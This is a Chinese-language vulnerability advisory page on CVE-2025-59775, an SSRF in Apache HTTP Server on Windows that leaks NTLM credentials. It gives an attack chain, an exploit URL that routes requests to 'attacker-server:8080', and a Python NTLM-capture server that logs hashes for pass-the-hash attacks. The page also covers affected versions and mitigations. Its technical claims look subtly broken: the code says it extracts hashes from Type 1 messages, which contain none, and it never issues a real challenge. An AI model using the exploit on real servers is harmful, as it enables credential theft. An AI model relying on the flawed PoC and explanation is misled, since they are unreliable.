IPBUF安全漏洞报告
English
CVE-2025-59775 CVSS 7.5 高危

CVE-2025-59775 Apache HTTP Server SSRF漏洞导致Windows NTLM哈希泄露

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-59775
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache HTTP Server (Windows)

相关标签

SSRF服务器端请求伪造Apache HTTP ServerNTLM哈希泄露Windows身份认证绕过哈希传递攻击CVE-2025-59775AllowEncodedSlashesMergeSlashes

漏洞概述

CVE-2025-59775是Apache HTTP Server在Windows平台上存在的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于服务器端请求伪造(SSRF)类型,当Apache HTTP Server配置了AllowEncodedSlashes On和MergeSlashes Off两个特定选项时,攻击者可以通过构造恶意的URL请求,诱导服务器向攻击者控制的外部服务器发起请求。由于Windows系统默认使用NTLM进行身份认证,服务器在发起外部请求时会自动携带当前用户的NTLM哈希值,从而导致用户的NTLM凭据被泄露到攻击者的服务器上。攻击者获取NTLM哈希后,可进行哈希传递(Pass-the-Hash)攻击,从而绕过身份认证获取目标系统的访问权限。建议用户升级到Apache HTTP Server 2.4.66版本以修复此漏洞。

技术细节

该漏洞的利用依赖于Apache HTTP Server的两个特殊配置选项的组合。当AllowEncodedSlashes设置为On时,服务器允许URL中包含编码的斜杠字符(如%2F),这为攻击者提供了绕过路径过滤的可能性。同时,MergeSlashes设置为Off会禁用路径合并功能,使得包含多个斜杠的URL不会被规范化处理。攻击者通过构造包含编码斜杠的特殊URL路径(如/..%2F..%2F),可以触发Apache服务器向攻击者控制的外部服务器发起HTTP请求。由于Windows环境的NTLM认证机制,服务器在向外部URL发起请求时会自动携带当前Windows用户的凭据信息,包括NTLM哈希值。攻击者搭建的恶意服务器可以捕获这些NTLM哈希,进而使用工具(如metasploit的smb_relay模块)进行哈希传递攻击,横向移动到其他系统或获取更高权限。这种攻击方式特别危险,因为NTLM哈希的捕获和利用可以在不需要明文密码的情况下完成,大大降低了攻击的门槛和成本。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意NTLM捕获服务器,监听在公网可访问的端口(如8080),用于接收和记录Apache服务器发来的NTLM认证请求
STEP 2
步骤2
攻击者构造包含编码斜杠的特殊URL,利用AllowEncodedSlashes配置绕过Apache的路径安全检查,如 /%2e%2e/%2e%2e/http://attacker-server/
STEP 3
步骤3
目标Apache服务器收到恶意请求后,由于MergeSlashes Off配置,不会对路径进行规范化处理,导致触发SSRF行为
STEP 4
步骤4
Apache服务器代表当前Windows用户向攻击者控制的外部服务器发起HTTP请求,自动携带NTLM认证凭据
STEP 5
步骤5
恶意服务器捕获NTLM Type 1消息(包含客户端信息和认证能力),并响应401和NTLM Type 2挑战消息
STEP 6
步骤6
攻击者获取到目标用户的NTLM哈希值后,使用hashcat或John the Ripper进行离线暴力破解,或直接进行Pass-the-Hash横向移动攻击
STEP 7
步骤7
攻击者利用获取的NTLM哈希绕过身份认证,访问目标系统上的其他资源或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59775 PoC - Apache SSRF NTLM Hash Leak # Requires: Apache with AllowEncodedSlashes On and MergeSlashes Off on Windows # Target must have access to the malicious server import http.server import socketserver import base64 import re class NTLMCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Log the Authorization header containing NTLM hash auth_header = self.headers.get('Authorization', '') if 'NTLM' in auth_header: # Extract NTLM Type 2 message (server challenge) ntlm_match = re.search(r'NTLM ([A-Za-z0-9+/=]+)', auth_header) if ntlm_match: ntlm_data = base64.b64decode(ntlm_match.group(1)) print(f'[+] NTLM Hash captured from {self.client_address}') print(f'[+] NTLM Type 1: {ntlm_match.group(1)}') # Save for Pass-the-Hash attack with open('captured_hashes.txt', 'a') as f: f.write(f'{self.client_address[0]}:{ntlm_match.group(1)}\n') # Send NTLM challenge (Type 2) self.send_response(401) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Connection', 'close') self.end_headers() def log_message(self, format, *args): print(f'[*] {self.address_string()} - {format % args}') class NTLMServer: def __init__(self, port=8080): self.port = port def start(self): with socketserver.TCPServer(('', self.port), NTLMCaptureHandler) as httpd: print(f'[*] NTLM Capture Server running on port {self.port}') print('[*] Waiting for Apache SSRF requests...') httpd.serve_forever() if __name__ == '__main__': # Start malicious server to capture NTLM hashes server = NTLMServer(port=8080) server.start() # Exploit URL (to be used in SSRF attack): # http://target-server/%2e%2e/%2e%2e/%2e%2e/http://attacker-server:8080/

影响范围

Apache HTTP Server 2.4.x < 2.4.66 (Windows, with AllowEncodedSlashes On and MergeSlashes Off)

防御指南

临时缓解措施
如果无法立即升级到2.4.66版本,建议采取以下临时缓解措施:首先,在Apache配置文件(httpd.conf)中删除AllowEncodedSlashes On配置,或将其设置为AllowEncodedSlashes Off;其次,确保MergeSlashes配置为On(默认行为);第三,限制Apache进程的网络访问权限,使用Windows防火墙规则阻止Apache服务向外部非信任地址发起出站连接;第四,监控Apache服务器的出站HTTP请求日志,及时发现异常的SSRF行为;最后,考虑在Windows域环境中部署EPA(Extended Protection for Authentication)来增强NTLM认证的安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表